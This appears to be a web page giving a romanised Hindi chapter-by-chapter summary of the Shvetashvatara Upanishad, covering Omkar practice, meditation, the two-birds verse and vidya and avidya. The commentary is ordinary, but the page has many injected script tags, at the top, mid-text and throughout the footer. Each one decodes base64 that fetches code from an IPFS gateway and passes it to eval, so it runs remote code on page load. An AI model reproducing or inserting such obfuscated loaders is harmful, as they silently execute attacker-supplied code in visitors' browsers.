श्वेताश्वतरोपनिषद

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

krishna yajurved shakha ke is upanishad mean chhah adhyay haian. inamean jagat ka mool karan, Omkar-sadhana, paramatmatattv se sakshatkar, dhyanayog, yog-sadhana, jagat ki utpatti, sanchalan aur vilay ka karan, vidya-avidya, jiv ki nana yoniyoan se mukti ke upay, jnanayog aur paramatma ki sarvavyapakata ka varnan kiya gaya hai.

pratham adhyay

• is adhyay mean jagat ke mool karan ko janane ke prati jijnasa abhivyakt ki gayi hai. sath hi 'Omkar' ki sadhana dvara 'paramatmatattv' se sakshatkar kiya gaya hai. kal, svabhav, sunishchit karmaphal, akasmik ghatana, panchamahabhoot aur jivatma, ye is jagat ke karanabhoot tattv haian ya nahian, in par vichar kiya gaya hai. ye sabhi is jagat ke karan isalie nahian ho sakate; kyoanki ye sabhi atma ke adhin haian. atma ko bhi karan nahian kaha ja sakata; kyoanki vah sabhi sukh-du:kh ke karanabhoot karmaphal-vyavastha ke adhin hai.
• keval bauddhik vivechan se 'brahm' ko bodh sambhav nahian hai. dhyan ke antargat atmachetan dvara hi gunoan ke avaran ko bhedakar us paramatattv ka anubhav kiya ja sakata hai.
• sampoorn vishv-vyavastha ek prakriti-chakr ke madhy ghoomati dikhaee deti hai, jisamean satv, raj, tam gunoan ke tin vritt haian, pap-puny do karm haian, jo moh-roopi nabhi ko kendr manakar ghoomate rahate haian. is brahmachandr' mean jiv bhraman karata rahata hai. is chakr se chhootane par hi vah 'moksh' ko prapt kar pata hai. us paramatma ko jan lene par hi is chakr se mukti mil jati hai.
• vah 'paramatattv' pratyek jiv mean sthit hai. manushy apane vivek se hi use jan pata hai. vah jiv aur j d prakriti ke pare paramatma hai, brahm hai.'oankar' ki sadhana se jivatma, paramatma se sanyog kar pata hai. jis prakar tiloan mean tel, dahi mean ghi, kashth mean agni, srot mean jal chhipa rahata hai, usi prakar paramatma ant:karan mean chhipa rahata hai. 'atma' mean hi 'paramatattv' vidyaman rahata hai.

doosara adhyay

• is adhyay mean 'dhyanayog' dvara sadhana par bal diya gaya hai. yog-sadhana aur 'pranayam' vidhi dvara 'jivatma' aur 'paramatma' ko sanyog hota hai. is sanyogavastha ko prapt karane ke lie sadhak soory ki upasana karate hue 'dhyanayog' ka sahara leta hai. vah svachchh sthan par baithakar pranayam vidhi se apani atma ko jagrat karata hai aur use 'brahmarandhr' mean sthit brahm-shakti tak uthata hai.
• indriyoan ki samast sukhakaankshaean ant:karan mean hi janm leti haian. unhean niyantrit karake hi 'oankar' ki sadhana karani chahie. jis prakar sarathi chapal ashvoan ko achchhi prakar sadhakar unhean lakshy ki or le jata hai, usi prakar vidvan purush is 'man' ko vash mean karake 'atmatattv' ka sandhan kare.
• jo sadhak, panchamahabhootoan se yukt gunoan ka vikas karake 'yogagnimay' sharir ko dharan kar leta hai, use n to rog satata hai, n use vriddhavastha prapt hoti hai. use akalamrityu bhi prapt nahian hoti. yog-sadhana se yukt sadhak atmatattv ke dvara brahmatattv ka sakshatkar karata hai. tab vah sampoorn tattvoan mean pavitr us paramatma ko janakar sabhi prakar ke vikaroan se mukti prapt kar leta hai.

tisara v chautha adhyay

• tisare aur chauthe adhyay mean jagat ki utpatti, sthiti, sanchalan aur vilay mean samarth paramatma ki shakti ki sarvavyapakata ko varnit kiya gaya hai. use nau dvar vali puri mean, indriyavihin hote hue bhi sab prakar se samarth, laghu se laghu aur mahanh se bhi mahanh kaha gaya hai. 'jivatma' aur 'paramatma' ki sthiti ko ek hi dal par baithe do pakshiyoan ke saman bataya gaya hai, jo mayavi brahm ke mukti-phal ko apane-apane dhang se khate haian.
• sampoorn shaktiyoan aur lokoan par shasan karane vale us mayavi brahm ko, jo jan leta hai aur use srishti ka niyamak samajhata hai, vah amar ho jata hai.
• vah ek paramatma hi 'rudr' hai, 'shiv' hai. vah apani shaktiyoan dvara sampoorn brahmand par shasan karata hai. sabhi prani usi ka ashray lete haian. aur vah sabhi praniyoan mean pran-satta ke roop mean vidyaman hai. vah panchamahabhootoan dvara is srishti ka nirmanakarta hai. usase shreshth doosara koee nahian hai. sampoorn vishv usi paramapurush mean sthit hai aur vah svayan samast praniyoan mean sthit hai. vah paramapurush samast indriyoan se rahit hone par bhi, unake vishesh gunoan se parichit hai. vah prakash-roop mean navadvar vale deh-roopi nagar mean antaryami hokar sthit hai. vahi bahy jagat ki sthool lilaean kar raha hai. vah atm-roop jiv, deh ke hridayasthal par virajaman hai.
• rrishi us paramapita ko agni, soory, vayu, chandrama aur shukr nakshatr ke roop mean janata hai. srishti ke prarambh mean vah akela hi tha, rang-roop se hin tha. vah akaran hi apani shaktiyoan dvara anek roop dharan kar sakata hai. sampoorn vishv ka janak bhi vahi hai aur usaka vilay bhi vah apani ichchha se kar leta hai. vah svayan 'drishy' hokar bhi 'drishta' hai. vah 'atma' hai aur paramatma bhi hai. donoan ka paraspar ghanisht sambandh hai. use is udaharan dvara samajhiye-
  

dva suparna sayuja sakhaya samanan vrikshan parishasvajate.
tayoratnay: pippalan svadvattyanashrannanyoabhichakashiti॥-(chaturth adhyay 6)

• arthat sanyukt roop aur maitri-bhav se rahane vale do pakshi-'jivatma' aur 'paramatma'- ek hi vriksh ka ashray liye hue haian. unamean se ek jivatma to us vriksh ke phaloan, arthat karmaphaloan ko svad le lekar khata hai, kintu doosara unaka upabhog n karata hua keval dekhata rahata hai.
• rag-dvesh, moh-maya se yukt hokar jivatma sadaiv shokagrast rahata hai, kintu doosara sabhi santapoan se mukt rahata hai. yah prakriti us mayapati paramatma ki hi 'maya' hai. vah akela hi samast shariroan ka svami hai tatha jiv ko unake karmoan ke anusar chaurasi lakh yoniyoan mean bhatakata rahata hai.
• pratyek kal mean vahi samast lokoan ka rakshak hai, sampoorn jagat ka svami hai aur sabhi praniyoan mean sthit hai. us param purush ko janakar sadhak apane karm-bandhanoan se chhoot jata hai.

paanchavaan v chhatha adhyay

• in donoan adhyayoan mean vidya-avidya, paramatma ki vilakshanata, jiv ki karmanusar vividh gatiyoan au unaki mukti ke upay bataye gaye haian. yahaan j d prakriti ke sthan par paramatmatattv ki sthapana ki gayi hai tatha dhyan, upasana aur jnanayog dvara paramatma ki sarvavyapakata aur samarthy ko janane par bal diya gaya hai. ant mean kaha gaya hai ki brahm jnan ki shiksha supatr aur yogy vyakti ko hi deni chahie.

vidya-avidya

nashvar jagat ka jnan 'avidya' hai aur avinashi jivatma ka jnan 'vidya' hai. jo vidya aur avidya par shasan karata hai, vahi paramasatta hai. vah samast yoniyoan ka adhishthata hai. vidya-avidya se pare vah paramatattv hai. vah sampoorn jagat ka karan hai. vah 'parabrahm' hai. vah jis sharir ko bhi grahan karata hai, usi ke anuroop ho jata hai.

vah sarvajn hai.

• jisake dvara yah samast jagat sadaiv vyapt rahata hai, jo jnan-svaroop, sarvajn, sarvavyapak, kal ka bhi kal aur sarvagunasampann avinashi hai, jisake anushasan mean yah sampoorn karmachakr satat ghoomata rahata hai, sabhi panchatattv jisake sanket par kriyashil rahate haian, usi parabrahm paramatma ka sadaiv dhyan karana chahie.
• jo sadhak tinoan gunoan se vyapt karmoan ko prarambh karake unhean paramatma ko arpit kar deta hai, usake poorvakarmoan ka nash ho jata hai aur vah jivatma j d jagat se bhinn, us paramasatta ko prapt ho jata hai. us nirakar parameshvar ke koee sharir aur indriyaan nahian haian. vah sookshm se sookshmatar aur vishal se bhi vishal hai. vah sab praniyoan mean akela hai-
  

eko dev: sarvabhooteshu goodh: sarvavyapi sarvabhootantaratma.
karmadhyaksh sarvabhootadhivas: sakshi cheta kevali nirgunashch॥ -(chhatha adhyay-11)

• arthat sampoorn praniyoan mean vah ek dev (paramatma) sthit hai. vah sarvavyapak, sampoorn praniyoan ki antaratma, sabake karmoan ka adhishvar, sab praniyoan mean basa hua (aant:karan mean vidyaman), sabaka sakshi, poorn chaitany, vishuddh roop aur nirgun roop hai.
• vastut: is lok mean ek hi hans hai, jo jal mean agni ke saman agochar hai. use janakar sadhak mrityu ke bandhan se chhoot jata hai. aise paramatma ka jnan keval yogy sadhak ko hi dena chahie.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

shrutiyaan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>